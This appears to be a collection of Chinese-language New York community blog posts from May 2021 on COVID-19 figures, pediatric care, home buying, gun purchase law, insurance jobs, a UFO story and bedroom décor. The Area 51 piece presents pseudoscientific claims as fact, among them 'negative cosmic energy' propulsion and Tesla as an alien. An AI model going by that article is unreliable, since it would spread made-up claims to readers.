8.俄亥俄州:1,097,300例

9.新泽西州:1,014,088例

10.北卡罗来纳州:995,754例

以下是死亡人数最多的前十个州:

1.加利福尼亚州:62,933人死亡

2.纽约州:53,131人死亡

3.德克萨斯州:51,225人死亡

4.佛罗里达州:36,474人死亡

5.宾夕法尼亚州:26,987人死亡

6.新泽西州:26,091人死亡

7.伊利诺伊州:25,001人死亡

8.乔治亚州:20,661人死亡

9.密歇根州:20,140人死亡

10.俄亥俄州:19,709人死亡

中国多地出现疫情

广东省疫情持续延烧,广州荔湾区确诊病例郭女士被确认感染了印度出现的变异株,过后其丈夫也被确诊。据悉,此前郭女士被通报最近14天未离开广州,近日曾去过荔湾区8个场所,

除此之外,广东省深圳也有新增病例。据深圳卫健委消息,5月23日0时-24时,新增2例无症状感染者。

5月21日及22日,安徽省六安市接连出现新增疑似及确诊病例。

另外,辽宁省营口市鲅鱼圈目前共封闭小区100个。

印度Covid变种引发更多担忧

世界卫生组织(WHO)示警,造成印度疫情失控原因之一的印度变种病毒“B.1.617”,至少已在43个国家现踪。这款变种病毒比原始病毒更危险,意味着它更易于传播、更加致命或具有躲避疫苗的能力。

美、英追查病毒源头

5月23日,《华尔街日报》(WSJ)援引一名不具名知情人士的话说,美国一份情报报告显示,在中共政权报告首批COVID-19病例之前一个月,武汉病毒研究所的三名研究人员就已经在医院就医。

美国国务院1月15日发布的一份概况介绍说,武汉病毒研究所的几名研究人员在2019年秋季出现与感染中共病毒相似病症,但没有提到研究人员的人数和他们患病的确切时间。

5月24日被要求对《华日》的报导发表评论时,英国首相约翰逊的发言人说:“世卫对病毒起源的调查正在进行,我们自始至终都很清楚,调查必须是稳健、透明和独立的。”

当被问及该报导是否暗示了实验室泄漏的可能性时,该发言人说:“我们希望让世卫彻底进行调查,并正确进行,然后从中做出判断。”

2021-05-25 / by / in ,
美国纽约看儿科 | 选儿科医生 儿童医疗保险 儿科急诊 流程

孩子在成长过程中避免不了需要定期体检、打预防针,有时会有个感冒发烧,这些都需要找儿科医生。在美国纽约给孩子看病,怎样选小儿科医生?怎么给孩子办理儿童医疗保险?我们这里给大家分享一下看儿科流程及指南,爸爸妈妈们可以先了解一下。

选择儿科医生

美国的每个小朋友,从出生到18岁,都可以选择一位儿科医生。

爸妈可以给孩子挑选专业儿科医生(pediatrician),或者家庭医生。一般来讲,对年龄较小的宝宝,专业的小儿科医生更熟悉儿童的情况,具备更多儿童医疗的专业知识。

史丹顿岛儿科/华人儿科医生/718-980-6688/幸福儿科史丹顿岛分诊所

第一次找儿科医生,可以参考身边亲戚朋友的推荐,或者找一家比较专业的儿科医生诊所。总之,可以考虑一下医生的专业程度、语言、出诊地点,医生是否和蔼耐心和认真负责等的因素。

儿童医疗保险

美国所有的儿童(18岁以下)都可以有医疗保险。美国的儿童医疗保险基本有以下几种:

家庭医疗保险,如果父母购买了家庭医疗保险,子女就包括在里面了。假如父母是公司雇员,很多公司都会给员工和家人买医疗保险,作为公司福利。这样,小孩的医疗保险也包括在内了。

Medicaid,如果家庭收入在贫困线以下,可以申请美国的联邦医疗保险 Medicaid,就是平时所讲的白卡,用白卡看医生可以享受免费医疗。

CHIP儿童医疗保险计划,CHIP是Medicaid的扩展项目。如果家庭收入超过了白卡的限制,但孩子没有医疗保险怎么办呢?美国有一个专门为儿童提供医疗保障的项目,叫做儿童医疗保险计划CHIP (Children’s Health Insurance Program)。申请到CHIP以后,儿童就可以享受到免费或低成本的医疗保险。

这份儿童健康保险计划也是因各州而异,CHIP可以在Medicaid管理机构处申请。

以纽约州为例,这项计划称为Child Health Plus。 19 岁以下儿童可通过这项儿童保险计划,享元受免费或低价的医疗保健服务。根据家庭收入和人口情况,可以免费医疗,或者支付每月最低9美,最高60美元的医疗保险费。

具体可以点击查看纽约州政府的健康保健网站

您可以拨打纽约州免费申请电话: 1-800-698-4543 或1-855-355-5777

Medicaid和CHIP覆盖医疗项目:

-牙科保健;

-视力评估,包括眼镜;

-体检和门诊;

-疫苗接种;

-心理健康评估和咨询;

-住院;

-仪器和实验检测;

-专科治疗;

儿科急诊

如果遇到孩子发高烧或紧急情况时,可以给儿科诊所打电话,诊所一般会有24小时值班的电话。如果护士判断情况比较紧急,会让你带孩子去医院看急诊。

看急诊有两种选择,可以考虑就近的紧急护理中心(UC, urgent care)或者是大医院的急诊(ER, Emergency Room),都不需要预约。紧急护理中心费用会便宜一些。

爸妈们平时可以关注一下住家附近的急诊诊所,事先了解一下孩子的医疗保险,在紧急情况下急诊的费用报销情况。到时候就知道应该怎么处理了。

看儿科流程

在美国看医生,只要不是急诊,其它情况下看病、体检、打预防针都要提前打电话预约。

到了预约的时候,带好孩子的医疗保险卡,如果是打预防针,带上疫苗记录,提前一点时间到诊所。然后,到诊所前台登记一下。

接下来等着护士叫名字,就可以看医生了。

如果常规检查里发现有需要去专科医院检查的项目,儿科医生会安排转诊。一般来讲,专科医生往往也是需要预约的。

在美国只要年龄没满18岁,即使是高中生了,需要时都可以去看儿科。

 

纽约布鲁克林儿科诊所

幸福儿科 Happiness Pediatrics是一家位于纽约布鲁克林Brooklyn的专业儿科诊所。为刚出生的婴儿到21岁的青年提供专业医疗服务。

专业的儿科团队

诊所院长黄彦鈜医学博士,是一位资深儿科医生,获得哈佛大学研究生文凭,爱因斯坦大学儿科文凭。是爱因斯坦医学院儿科住院医师,现任康奈尔下城医院及纽约大学信义会医院临床教授,儿科主治医师。精通中文(粤语、国语)和英文。

 

诊所的每一位医生都得到美国小儿科特考文凭。多年的小儿科培训,使他们能够应对各种情况,作出快速、准确的判断。

全方位的儿科服务

诊所给儿童提供全面的儿科服务,包括:新生儿护理,实验室测试,诊断与治疗,免疫接种,入学&体育健康体检,牙科治疗,幼儿保育考试,视觉检查,饮食/营养。

出于对诊所的信任,就诊过幸福儿科的很多患者都将诊所推荐给了自己的朋友和亲戚。

网上看诊

在新型冠状病毒疫情下,为了让家长与孩子们能安全的留在家中,幸福儿科实施网上看诊。

线上看诊不但安全,也非常的方便。您只需打电话或运用诊所的手机APP线上预约时间。到时候只要一个点击,您就可以“见”到医生了,和医生用视频线上谈话。

急诊电话和预约电话

预约电话:917-338-6688

儿科急诊电话:917-338-6688 / 718-980-6688

诊所地址

布鲁克林诊所:762 59th st, Suite 7, Brooklyn,NY 11220 (7至8大道之间)

网站地址:www.happinesspediatrics.com

营业时间

请各位爸爸或妈妈看一下诊所的工作时间,方便您安排时间给孩子就诊。

周二 – 周四        9:30am – 5:00pm

周六      9:30am – 5:00pm

周日      9:30am – 5:00pm

2021-05-24 / by / in , ,
美国买房详解|美国买房流程指南|纽约买房准备|在美国买房要注意什么?

文|雨荷

买房是人生大事一定要慎重。对于买房的新手,在美国买房应注意什么呢?美国买房流程是什么?美国买房详解。

一、准备阶段。买房前要先问自己三个问题。

1、购房预算

买房子最先要搞清楚自己的支付能力,然后确定合理的购房预算范围。同时这个预算也可以作为搜寻房屋时的第一个筛选标准来缩小范围。需要贷款的朋友,如果有了预算,可以通过Reimagine home这个房屋信息网站上的计算器,来预估月供的价格,一般需要输入你的首付额、贷款时长等信息就能看到了,它还会显示每年的地税和房屋保险金额。

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美国买房详解一 示意图。

2、买房的目的

了解买房的目的是为了进一步缩小搜索范围,更快、更精准的搜索到自己想要的房子。比较常见的目的是下面四种。

a、学区房:对地理位置要求高,要清楚当地的好学区在哪里。

b、投资:更看重本地的经济发展前景,预判未来的升值潜力。

c、舒适:关注房子本身的软硬件设施。

d、方便:比如距离公司比较近,通勤时间短,或者离家人更近挨着大公园、周边设施齐全等等。

3、对房屋的要求是什么?

买房子本来就是一笔大开销,都会慎重选择,很容易看的眼花或者纠结。如果在看房前把自己的最低要求列出来,哪些条件必须具备,哪些可以忽略,就能在最后关头帮助自己做决策,只要有一点无法达到最低要求的就淘汰,高于最低要求的就加分。这样当面对多个选择的时候,就能分辨出谁更胜一筹了。

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美国买房详解二 示意图。

二、房源:

1、搜索渠道

搜房网站小编为您推荐两个好用且大众的网站,redfin和zilloow他们也有自己的app,在网站上根据自己的需求设置几个filter之后,就能在想要搜索的区域看到符合条件的房子,点进去之后会有更加详细的房屋信息,还可以查询交易记录、涨幅趋势,还能看到学区条件等等。

2.美国的房屋中介

一般分为销售代理和买房代理两种。第一种是卖家中介,也就是帮卖房人把房屋挂到市场上,并帮忙打理、安排别人看房等事项。而买房代理就是我们买房时想要找的人了,他们会帮我们查找合适的房源,并预约带着看房,帮忙争取最优价格等等。买房需要找一个靠谱、业务能力高的中介,一个好的买房中介会帮助您联系卖房中介,准备材料、提供必要的建议。

找中介建议给大家, 如果身边有已经购房的朋友,可以请他们推荐合作过比较好的房屋中介。如果是购买二手房,向您推荐大公司的中介,毕竟资源多,选择的空间比较大。有时会发现同一套房子的销售代理和买房代理是同一个人,这样的情况最好避免,毕竟两者目的上就有冲突。

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美国买房流程指南一 示意图。

、新房/二手房

新房通过浏览美国几大知名建造商的官网,看看城市规划,就能知道哪里有新房。虽然购买新房,中介不是必须的,但是第一次去新房register的时候,建议带上中介,因为会有返现活动,开发商会返现给中介,中介也会再把这一笔钱的一部分返给你。

二手房主要分成两大类on the market和off market,在找二手房时中介作用很大,尤其是手中off market房源多的中介。

在美国二手房源有一个统一的信息库,叫做MLS,汇集了市场上最全的二手房数据,这些能在市场上查到的房。都叫做on the market。这些房子一般都会改建,符合当下市场审美需求,如果自己有扩建、改造的计划,也会帮忙申请好改建许可比较规范化,但也因为信息公开,好房子就会很抢手。

off market 房主会通过卖房中介(listing agent)将房源散布出去,因为不能公开查询,所以知道这类房屋信息的人有限,好房子也不会有太多人竞争,有更大的可能性买到,这也就是为什么一开始说中介作用很大的原因。在看这类房子的时候,需要多观察,这类房子可能不想花钱重建,去迎合市场需求或者着急转手需要资金等等。看房时要多看细节,重点关注有没有不易察觉的硬伤,不然会影响居和日后的买卖。

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美国买房流程指南二 示意图。

:房屋类型

独栋House/Single Family House,三层以内带自己的院子,房型一般更合理隐私性较好。房产和土地拥有永久产权,维护费较低,但是需要住户自己定期除草收拾。

连排Townhouse/Townhome多是三层,一楼车库;二楼厨房;客厅;三楼是其他的卧室,面积较小,和旁边的邻居会共用一面墙,所以如果隔音不好,可能会有互相干扰的情况。

公寓式住宅Condo,这就是国内比较常见的公寓住宅,住宅形式很多,环境一般比较好,价格相对便宜,但物业管理费比较贵。

新房/二手房的购房流程

新房购房流程

1.资格预审pre-qualificaticon 联系房屋建筑商指定的合作伙伴,按照要求提交资料就可以了。

2.看房-参观样板房model home 参观时带楼层平面图,主意室内光线以及设施,了解额外付费的设施。

3.确定房屋-等待名单wai list 了解房屋的情况,选择自己喜欢的房子,也有不要的权利。

4.签订合同 有固定的模板,沟通了解之后签合同。

5.贷款与开发商合作的机构贷款会有一定程度的优惠。

6.交房

房子, 3D, 给予, 设计, 首页, 建设, 结构, 呈现, 外墙, 生活, 模型

纽约买房 示意图。

二手房的购房流程

1.资料预审pre-qualificaticon

很多时候会在做pre-qualificaticon的银行贷款。

2.看房-参加房屋开发日open house

查看房子的基本情况,宣传单上的内容是否如实,仔细阅读房屋的检查报告imspection report。

3.确定房屋-竞价bid

Off market的房源是采取先到先得竞价的方式。价钱房主比较就可以成交。

4.签订合同

中介帮忙看了以后,自己也要小心仔细阅读,再签字。

5.贷款

根据自己情况选择即可。

6.交房

新英格兰, 首页, 结构, 建设, 住宅, 夏天, 房地产, 前, 花园, 风格, 现代的房子外观, 当代

购房流程 示意图。

其他注意事项:

一、看房时不仅要参观屋内,看房屋整体造型,观察小区周边的环境,周边居住怎样的邻居也非常的重要。

二、看新房一定要查清原本的土地性质和污染情况。

三、物业管理费HOA(Homeowner Association)是否每个月缴纳,都包含哪些费用?

四、保险有的是必付的。有些是任性的也需要提前了解,做到预算里。

 

 

 

 

2021-05-23 / by / in , , , ,
在美华人买枪流程/买枪必知的美国枪械法/纽约州市枪械法/纽约华人枪店

文/阿慎

疫情以來,多方面原因使得在美華人危機感徒增,近來部分華人家庭已將買槍自衛列上日程,開始關注買槍流程和槍支型號了。在這裡,我想提醒在美的華人朋友們,在了解買槍流程、買槍之前,您務必要先學習美國槍械法,因為違犯美國槍械法是重罪,千萬要謹慎行之。有不清楚的地方,您可詢問有經驗的華人老槍友(槍友會http://qiangyou.org/bbs/forum.php)、華人槍店(如紐約長島華人槍店等http:// dealsforguns.com)、或當地律師、ATF,以免因法律或語言理解有誤,而無意中違法。

一.美國槍械法:基於美國憲法第二修正案。

第一你要知道美國憲法第二修正案,保護美國公民的持槍權利。

第二美國槍械法非常複雜:因美國是聯邦制,各州槍械法律各不相同,互不兼容,同一個州內的各市法律也不同。五十個州的槍械法+聯邦槍械法,就有“一國五十一制”的說法。總之,聯邦槍械法是全國各州都必須遵行的,各州各市地方法律必須同時遵守

第三觸犯槍械法是聯邦重罪,可能受到坐牢,罰金等嚴重懲罰。因此千萬謹慎。以下是必知的美國槍械法常識:

1.美國聯邦槍械法規定,買槍必須是自買自用,切不可為他人代買,否則(俗稱Straw purchaser)會受到法律的嚴懲。實例:

2009年美国警官Bruce James帮他的叔叔买手枪。为了使用警察折扣,他以“实际购买人”的身份填写4473,省了150美金。即便被告和叔叔都有合法购枪权利,受美国宪法保护。但代买就是犯法,结果罪名成立,入狱5年。原告不服分别上诉到全美第四巡回法庭、最高法院。此案当时引起全美关注,有26个州表达支持被告,有9个州和华盛顿特区支持法庭。尽管9名大法官意见分歧相当大,但最后还是以5比4的微弱优势判决罪名成立。常言道:前车之鉴后事之师。所以,切记切记—代买绝对不可以!

2.填4473表格撒谎,是会判入狱多年的重罪。您的4473表格信息、购枪信息将通过FFL在ATF、FBI系统备案的,这是政府保证民众用枪安全的一种途径。所以填表故意隐瞒、捏造不实信息,就触犯了联邦枪械法,所填的4473表格便是司法证据。最高可判处20年监禁,以及一百万美元的罚款。实例:

丈夫是否可以买枪来做为礼物送给妻子呢? Absolutely yes! 当然可以!在“填表人是否为实际购买者”备注中,填表人是可以买来做礼物送给别人的。我们可以看到,即使最终用户是妻子,丈夫也仍然是实际购买者,其行为是合法的。(上个案例的警官Bruce为他叔叔代买,有收400美金支票)所以,做人做事要堂堂正正的,没必要撒谎。

3.美国各州枪械法对拥枪型号、持枪方式、运枪(搬家到别的州)等等要求各有不同。对于一直生活在美国的人是基本权力是常识,但很多华人并不了解,所以买枪前必学当地的枪械法、及相应的法律责任如:

  • 各州法律对持枪方式各有不同:有的州“公开持枪”合法(Open Carry),即在公共场所、枪械不可用被衣物遮挡、众人一眼就能看到;有的州“隐秘持枪”合法(Concealed Carry),枪械需用衣物遮挡,只有掀开衣物时才可看到。
  • 有些州规定公民携带枪可以在车里,但不能带出车外;要 Unload“枪弹分离”(弹匣没子弹,或弹匣不能在枪里);枪械要放在带锁的箱子里,可不上锁,放在随手够不着的地方—如备箱等。
  • 有些州规定公民携带枪要有枪证;而最近,德州在5/6/2021通过法规,公共场所允许居民无许可证携带手枪。
  • 有规定民众不得持有10发子弹以上的弹匣,10发子弹的弹匣合法,10发以上的违法…
  • 请注意:只要有枪,猎照就要每年更新,否则就是非法持枪。
  • 不允许把枪借给家人以外的人, 除非是通过 Dealer. 把枪借给朋友需要20天的等待时间, 至少去 Dealer 两次, 以及交两次钱等等。
  • 如果枪丢了, 要即使报备, 否则会被禁枪10年. 故意瞒报、没有及时报告, 很可能被判刑事案件.

4.如果有犯罪记录、代买案底、精神病人、吸毒者,家暴史,被法院限制接触家人等的任一种情况的人,法律规定不可以买枪。

5.联邦枪械法规定:外国人(无绿卡的)在美国 possess枪是非法的。例如: 刚来美国就去枪店看枪摸枪,就违法了。

6.借枪:美国枪械法不允许把枪借给家人以外的人, 除非是通过 Dealer. 枪借给朋友,要等20天, 要2次去 Dealer , 2次交费。

二.纽约州对枪械方面的法律和限制非常严格,特别是纽约市内五区更甚于纽约州其他地区,全国数一数二。如下:

联邦枪械法 纽约市内五区地方法规 (纽约市以外)纽约州法规
1 公民、绿卡可以拥有枪支

要求:

手枪:年满21周岁

长枪:年满18周岁

只有公民、绿卡可以拥有枪支。

要求:

手枪:年满21周岁,有手枪证。

长枪:年满21周岁,有长枪证。

公民、绿卡可以拥有枪支。

要求:

手枪:年满21周岁,有手枪证。

长枪:年满18周岁。

2 外国人(F1/H1B等)

可以购买枪支。

要求:

申请到猎照 Hunting License

  ×外国人不可以拥有枪支 外国人(F1/H1B等)

可以购买枪支。

要求:

申请猎照 Hunting License

*外国人包括:如留学签证F1、工作签证H1B、旅游签证、探亲签证、移民签证、A5卡、A10卡等。

二.华人买枪流程:

第一步,华人买枪需要准备什么证件?

1美国公民:持驾照就可以买枪。(手枪:年满21周岁,长枪:年满18周岁)

2绿卡:持驾照、绿卡就可以买枪。

3外国人:H1B、F1学生等(没有绿卡的人),美国联邦法律规定,原则上不能买枪,但你有猎照 Hunting License,可以就合法买枪。带上驾照,I-94(入境单)等身份文档,H1B需带上I-797表就可买枪。

另外,

  • 有的州买手枪handgun需办理手枪证,买长枪的需办长枪证;携带需办隐藏持枪证(CPL);还有购枪持枪许可FSC(Firearm Safety Certification)等。
  • 华州外国人持枪还要办AFL(Alien Firearm License)外国人枪证,要到警察局申请AFL,大约等60天。
  • 在纽约州市外国人枪证难办,可谓是众所周知。填写申请表,提供照片、ID、住址证明,还需要推荐信,付费,过程非常复杂。办理手枪持枪、长枪持枪证等待时间也要长于其它州。

 ♦很多华人朋友因语言问题,个人申请枪证比较困难,可以找个华人枪店。华文沟通,不但可以把法律、枪械问题讲得清楚明白,而且在买枪购枪、使用上的任何疑问,都可随时咨询他们。枪店办枪证当然是最稳妥快捷的。至于价格、口碑货比三家是常识哦!

居住在大纽约地区附近的华人朋友们,可去长岛米诺拉的一家华人经营的枪械用品店,叫纽约长岛Equilibrium Firearms枪店看看。有趣的是枪店里还提供各种辣椒水、防狼喷雾等女士防身用品、家防器械。

第二步,任何人买枪必填4473背景调查表格,没有例外。店员将您的信息表格提交NICS系统后,马上会有结果。一般有3种情况:

1Proceed:通常没有犯罪记录,当场就通过了,直接付钱买枪;

2Delay:系统暂时不确定,比较常见。等十分钟后如果没通过,那就回家等,最终有结论了,店家就会打电话通知你去取枪;

3Denied:没通过也有不少。如店员搞错了信息、忘了提供猎照信息等。需要申诉appeal(店家会教你),申诉通过了,一样可以拿到枪。

* 4473表格(联邦枪械法规定,交易现场填写才有效)可以提前了解一下内容:

http://www.atf.gov/files/forms/download/atf-f-4473-1.pdf

三.买枪的渠道,到哪里买枪?

第一,Local在枪店买枪:最省心了,交钱拿枪、方便快捷。还可当场试手感效果,如果枪有什么问题,枪店承担,但是价格相对比较高。

第二,Online网上买,然后通过本地的FFL(联邦武器执照Federal Firearms License)办一下手续做transfer代理,费用($20-30),好处是样式多、便宜。缺点是等待的时间更久,麻烦。枪有什么问题的话,要自己承担。

第三,私人、枪展不推荐,因为枪展结束,手续一旦有问题,就麻烦了。

四.买什么枪最好?3种枪:

1)霰弹枪(shotgun):是最实用的家防枪,因打出去的是散弹,命中率高;

2)手枪:方便,可随时带在身边;

3)步枪:只有出现社会大骚乱才需要。

五.买手枪的要点:

1)用枪的关键是趁手,最好 是在买枪前去靶场租各类枪试试。

2)精致小巧的手枪,后坐力越大,不易打准。大而重的手枪比较实用。

长岛华人枪店  Equilibrium Firearms

地址:283 Villis Ave., Mineola, NY 11501

電話:516-788-8999

網站:http://dealsforguns.com

六.注意事項,用槍的安全問題:

買槍切莫忽略了安全問題,擁槍的人要有責任心more responsibility,具備良好的持槍習慣,以免擦槍走火:

  • 1)空槍:即便是空槍也不可胡亂比劃。
  • 2)槍口:只要持槍在手,就一直控制槍口對著安全的方向
  • 3)扳機:手指一直放在扳機框外,射擊的一舜,手指才觸動扳機。
  • 4)射擊前:確認靶子、目標、及後方一定範圍沒有人(比如突然出現的小朋友)
  • 5)丟三落四、重要物品總是隨處亂扔的人,慎重買槍。槍出了問題,槍主扛個Felony(重罪)毀終身。

這篇文章只做為參考,遇到法律問題、內容時效性問題以?官方消息為準。   

結束語:害人之心不可有,防人之心不可無。華人買槍Home Defense是大事,一定三思再三思!槍是雙刃劍,我們買槍是自衛,一定要尊重生命、敬畏大自然。切莫去狩獵殺生,把快樂建在其它生命的痛苦之上,罪孽深重不可為!分享一首詩,請細細體會個中意思吧:

白居易
誰道群生性命微?一般骨肉一般皮。
勸君莫打枝頭鳥,子在巢中望母歸。

2021-05-22 / by / in ,
纽约考保险执照/考人寿保险执照/纽约找工作/好工作/工作指导/工作就业/工作推荐/高薪工作

找好工作,必来纽约。不到纽约,不算求职。

到了纽约,各类招聘广告,令人眼花缭乱。怎么办?

一般人最初想到的是沿着原来的职业轨道,比如说小芹做过护理,就找护理公司,海伦原来做美容,就找美容店,张先生原来做IT就找IT类公司,陈先生原来是证券公司主管就找华尔街证券公司职位。我最初到纽约,因为原来在学校教书十几年,所以总想着到学校找工作,于是上网搜索了上百所学校的网站上的招聘信息,投出了几十份简历。我收到面试通知后,兴冲冲去面试,很快就有校长接见、人事处面谈、教务处确定课程信息,可谓是熟门熟路、顺风顺水。

许多人发现熟门熟路的工作,薪资一般般,晋升空间也不大,做个五年十年也不见得有多少成就。就说我那份很快找到的工作,是在Long Island City一个双语学校,当年起步年薪大约三万,就算教个五年十年,年薪五六万、七八万望得到头。

许多人想在美国得拼英文,于是报名上语言学校。有些人想考执照增加自己的职场才能,以为这样可以加薪快,却往往发现投入时间多、产出少。语言学校苦嗬嗬上了一两年,英语提升并不大,靠上个语言学校就能多赚钱的梦想很快就破碎了。有人执照考了好几个,真正派上用场的少,也就是拿多了几张纸而已。我当年得知那个学校开出的薪资才三万左右时,也是马上想到赶紧给自己去充电,拿多一张美国名校的文凭,虽然我有中国名校的博士毕业证书,但在美国高校眼中,也就相当于一件花袄,中看不中用,换不成一叠叠美金。我背着一大包来自中国的学历文凭证书,和早已准备好的翻译公证材料,上哥伦比亚大学报名,发现只能打折,从研究生读起。

毛估估算起来,要在哥大读研读博,不准备三五十万美金,就别做梦拿到博士证书。就算我梦想成真,毕业后奋斗几年成文科教授,起薪四五万,过几年涨成五六万,得多少年才能回个本?

这一算,惊醒了我。我决定改行换业!

纽约是世界经济之都、金融之都。我本科读的是工科,研究生转读文科,什么可以帮我以最快速度,改行换业到经济与金融?非常幸运的是,在自己想要买保险的过程中,我发现全美最大的互惠保险公司正在大量招聘,并提供免费的系列培训。即使是像我这样零基础的小白,也可以循序渐进地学习,一步步考取不同的执照,成为专业的理财顾问。

我立马参加了一期入门级的寿险执照培训,只一个月零散时间就考取了纽约州寿险执照。公司给我报销了考执照过程中的报名费与申请执照的费用。我一边继续学习一边工作,第一年薪资竟然超过了当年纽约州高校教授的平均薪资。几年来,我逐级考了多个执照,薪资很快涨成六位数的级别。我了解到,非金融专业背景的同事人数远多于直接以金融专业为背景的同事。工作三年以上的同事,平均薪资在六位数以上。工作五年以上,退休时可享有一份活多久领多久的养老金。

转行改业,我们给正在纽约求职的你,一个学习赚钱两不误、薪资上不封顶的机会!

如果你本身就是经济、工商、金融类的专业,我们给你职场晋升最快的机会!

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2021-05-21 / by / in ,
51区揭秘外星飞船动力

近期,越来越多UFO目击事件被披露出来。多国政府高官公开承认UFO和外星人是真实存在的。

在美国内华达州有一个神秘的51区,据说是有一个空军基地在这里,这个区被认为是美国用来秘密研究新的空军飞行器和测试的地方。51区总是充满着神秘与未知,因为很多关于外星人、不明飞行物、秘密武器等词汇都围绕着这个51区,人们的猜测从未停止。

前不久,一位自称曾经是美国51区UFO研究人员的神秘人士,向外界透露了美国俘获的UFO的动力细节。他称上世纪60年代,他正服务于美国51区UFO的研究机构,是一位动力装置研究的工程师。当时军方俘获了一架坠毁的UFO,被送到51区之后,他受命去研究UFO的动力设置。他和他的伙伴们发现靠近UFO底部以及环绕一周的外壁都有一些类似飞机涵道构造的暗室,里面均有高能物质灼烧的痕迹。这些暗室却没有任何类似人类发动机喷油嘴以及火花塞之类的设施。那么它们是如何做工的呢?这令在场的工程师们大惑不解。

一位在场的特异功能者却似乎突然悟透了其做工原理,他喊道:“负宇宙能!它们在利用负宇宙能做工!”听到这位特异功能者的叫喊,当场的工程师们都惊呆了。因为在他们看来,能够利用负宇宙能量,UFO的驾驶者除非像神仙一样具备利用宇宙能量的法术!那么,这究竟是什么样的一种能量呢?

其实,专家们会有不同的说法来解释这未知的科技,比如反重力推动系统、反物质、暗能量,等等,总之是人类目前尚未掌握的技术。

负宇宙能量也许指的就是和我们所处的正宇宙能量恰好相反的负宇宙中的能量体,也可以理解为是多维平行空间的宇宙体。中国很早出现的太极图最先告诉人类,宇宙包含阴阳两极,有正宇宙就有对应的一个负宇宙,而负宇宙具有的物质和能量恰好都与正宇宙的相反,正宇宙和负宇宙又通过太极图中,阴阳鱼的鱼眼相互转换联通,而鱼眼也许就是现代科学所认识的“黑洞”。然而,正负宇宙又不是简单的叠加,而是所处维度不同。古代的神话传说中,神仙要想去到更高维度的宇宙,就很可能具备一种法术,从而使自己能够脱离我们这个宇宙空间物质和维度的限制,比如重力,而瞬间进入另外宇宙维度空间。

外星人的UFO很可能已经具备了操控负宇宙能量和进入其它维度空间的技术,而这种技术就是用意念加以操控的一种技术,这在传说中的神仙那里叫做法术。我们还记得上世纪有一位神秘的物理学家——尼古拉·特斯拉,据传特斯拉是一位来自地外星球的外星人,据说他当时快要成功发明出利用负宇宙能量的动力装置,然而就在这个节骨眼上受到了空前的打压。这导致他干脆烧毁了他的相关手稿,而这一技术从此如石沉大海,再也没有被人类所掌握。如果这个传说是真的,那么也就意味着外星人一定也掌握了负宇宙能的使用技术,而UFO也许正是利用这种宇宙能驱动的外星飞行器。

在以往UFO目击事件的记录中,有不少是UFO干扰人类电子设施的。比如UFO飞临某地会造成当地停电、通讯中断、仪器失灵、导弹无法发射等情况,这说明UFO在利用负宇宙能时会产生一些类似于太阳风暴一类的物质,而这类物质就会造成人类电子设施的失灵。当然这些太阳风的类似物在外星智慧生物那里绝对是受控的!目前人类还没有掌握利用负宇宙能量和进入其它维度空间的技术,人类的科技在浩瀚的宇宙中是非常渺小而微不足道的。

不过,人类的探索从未停止。美国前国家情报总监约翰·拉特克利夫(John Ratcliffe)此前透露,将于6月初发布一份关于UFO的报告,将详细介绍“从未见过”和“难以解释”不明飞行物的发现。让我们拭目以待吧。

2021-05-19 / by / in ,
2021纽约最流行的卧室装修

文|雨荷

纽约这个城市由于许多原因吸引了很多关注。从时尚和风格世界的趋势发展到室内设计和建筑领域,这座城市数十年来一直在重新定义成千上万的文化和品味。纽约市的每个街区都有自己的魅力和独特的设计风格,从SoHo和NoHo等社区到曼哈顿标志性的摩天大楼,许多公寓,房屋和改建住宅都拥有自己的光环。

纽约卧室装修目前最受欢迎是现代风格,简约,高科技,东方或日本风格。这些卧室设计是年轻人选择的。这些全部以清晰的线条为特征,配色方案通常表现力强,建立在对比色的基础上。现代人们倾向于更安静,更舒适的内饰。这种氛围是采用古典风格以及普罗旺斯或斯堪的纳维亚风格创造的。有创造力的人更喜欢奢侈的东西-阁楼装饰艺术。

纽约卧室装修 示意图。

现代风格的卧室

现代性的基本规则是在不同对象中重复的简单形式。由于家具中这种形式的变化,墙壁,配件的装饰,动态的以及简洁的设计得以创建。

现代风格卧室的墙壁装饰大多是纯色的或带有温和的图形图案。通常,规则是相同的:简洁。一种主要颜色,一种或两种,最多三种用于强调。此外,主要颜色选择为浅色,柔和。

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现代风格 示意图。

现代风格卧室的墙壁是纯色的或带有图形图案的。

最新趋势之一是墙壁的颜色更亮,有时是对比色,有时是相同的颜色,但阴影较亮。在卧室里,它们通常是在床站立的墙壁或对面的墙壁上加重的。

新艺术风格:不一定很冷,带有男性“性格”。有非常柔软的卧室内饰的变化

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新艺术风格 示意图。

现代风格可能具有某种想法,可以反映所有者的世界观,其习惯和兴趣。例如,某些种族地区的某些地方–东部,斯堪的纳维亚或任何其他海洋主题、森林等,但随后从其固有色域中选择配色方案,或使其中性。

现代风格的卧室通常更具男性气息。缺少“装饰”和不必要的细节是坚强的人喜欢的东西,即使在很小的区域内,也可以实现现代风格的卧室设计:缺少不必要的细节和简单的线条会产生额外的体积感。

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现代风格 示意图。

古典风格的卧室

想要时尚的卧室内饰吗?您需要注意经典风格。对于年轻人来说,这太过庄重了,成熟的人们喜欢它,因为它舒适而舒适。在这里,他们已经使用了别致的织物,窗帘,带有烫金和卷发的家具。经典的所有属性都有存在的地方。

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古典风格 示意图。

家具的一个特色是高床头板,具有丰富的设计。它们可以是木制或软垫织物,皮革。在它的脚下可以是相同风格的长凳或小沙发。

伽玛设计古典风格的卧室时,也仍然受到很大限制:仅添加金色调和墙壁上的传统装饰。在这种情况下,植物图案更合适,但风格很强。

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古典风格 示意图。

天花板和墙壁上可能是灰泥:各种装饰线条,圆柱,框架,壁柱。所有这些元素在高高天花板的宽敞房间中看起来都不错,窗户上还布满了窗帘。对于更适中的尺寸,建议使用更适中的窗帘。

普罗旺斯风格

这种风格在女性卧室中更为固有。在普罗旺斯的纺织品和墙壁上,经常使用花卉装饰和褶边。所有这些都是人类美丽的一半的特征。颜色为蓝色,粉红色,淡紫色,有时为绿色。这种风格适合浪漫的人:非常柔和而令人兴奋。

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普罗旺斯风格 示意图。

在天花板的设计中要注意一个有趣的主意。在一个白色的木制天花板上绘的花。它们在墙上重复出现。

但是同样可以制造出更加严格的内饰,尽管它无疑属于同一风格。

相同的风格可能更加粗糙:人们不仅生活在城市中。它非常适合木房子的内部:这种设计欢迎使用横梁,木墙以浅色调着色。

经典的卧室

如果您喜欢经典但又带有现代便鞋的物品,则应像以前一样专注于一张大床。围绕它,将旋转其余的卧室家具,以及照明,装饰元素的颜色和墙壁的颜色。我们建议使用深色木材,柔软的香草墙和明亮的重点照明。植物可以为卧室增添非常微妙的细节。

经典的卧室 示意图。

